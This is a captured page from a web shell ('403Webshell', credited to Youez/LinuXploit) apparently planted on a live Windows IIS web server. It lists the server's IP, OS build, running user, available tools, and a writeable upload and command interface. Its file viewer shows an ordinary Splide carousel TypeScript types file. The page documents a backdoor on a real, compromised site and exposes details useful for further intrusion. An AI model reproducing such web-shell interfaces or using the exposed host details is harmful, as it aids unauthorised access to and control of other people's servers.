403Webshell
Server IP : 185.208.173.17  /  Your IP : 87.236.161.98
Web Server : Microsoft-IIS/10.0
System : Windows NT SRV8576125506 10.0 build 26100 (Windows Server 2016) AMD64
User : IUSR ( 0)
PHP Version : 7.4.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /inetpub/wwwroot/parsmega.nuxt/node_modules/@splidejs/splide/src/js/types/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /inetpub/wwwroot/parsmega.nuxt/node_modules/@splidejs/splide/src/js/types/general.ts
import { Splide } from '../core/Splide/Splide';
import { Components } from './components';
import { Options } from './options';


/**
 * The type for any function.
 *
 * @since 3.0.0
 */
export type AnyFunction = ( ...args: any[] ) => any;

/**
 * The type for a component.
 *
 * @since 3.0.0
 */
export type ComponentConstructor = ( Splide: Splide, Components: Components, options: Options ) => BaseComponent;

/**
 * The interface for any component.
 *
 * @since 3.0.0
 */
export interface BaseComponent {
  setup?(): void;
  mount?(): void;
  destroy?( completely?: boolean ): void;
}

/**
 * The interface for the Transition component.
 *
 * @since 3.0.0
 */
export interface TransitionComponent extends BaseComponent {
  start( index: number, done: () => void ): void;
  cancel(): void;
}

/**
 * The interface for info of a splide instance to sync with.
 *
 * @since 3.2.8
 */
export interface SyncTarget {
  splide: Splide;
  isParent?: boolean;
}

Youez - 2016 - github.com/yon3zu
LinuXploit